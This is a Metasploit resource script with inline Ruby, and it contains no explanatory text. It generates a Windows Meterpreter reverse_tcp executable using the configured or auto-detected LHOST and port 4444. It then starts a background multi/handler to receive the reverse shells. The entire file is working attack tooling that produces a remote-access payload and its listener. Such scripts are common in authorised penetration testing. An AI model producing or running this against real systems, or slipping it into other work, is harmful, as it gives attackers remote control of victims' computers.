<ruby>
PAYLOAD = 'windows/meterpreter/reverse_tcp'

def payload_lhost
  framework.datastore['LHOST'] || Rex::Socket.source_address
end

def payload_lport
  framework.datastore['LPORT'] || 4444
end

def out_path
  "#{Msf::Config::local_directory}/meterpreter_reverse_tcp.exe"
end

run_single("use payload/#{PAYLOAD}")
run_single("set lhost #{payload_lhost}")
run_single("set lport #{payload_lport}")
run_single("generate -t exe -f #{out_path}")
print_status("#{PAYLOAD}'s LHOST=#{payload_lhost}, LPORT=#{payload_lport}")
print_status("#{PAYLOAD} is at #{out_path}")
run_single('use exploit/multi/handler')
run_single("set payload #{PAYLOAD}")
run_single("set lhost #{payload_lhost}")
run_single("set lport #{payload_lport}")
run_single('set exitonsession false')
run_single('run -j')
</ruby>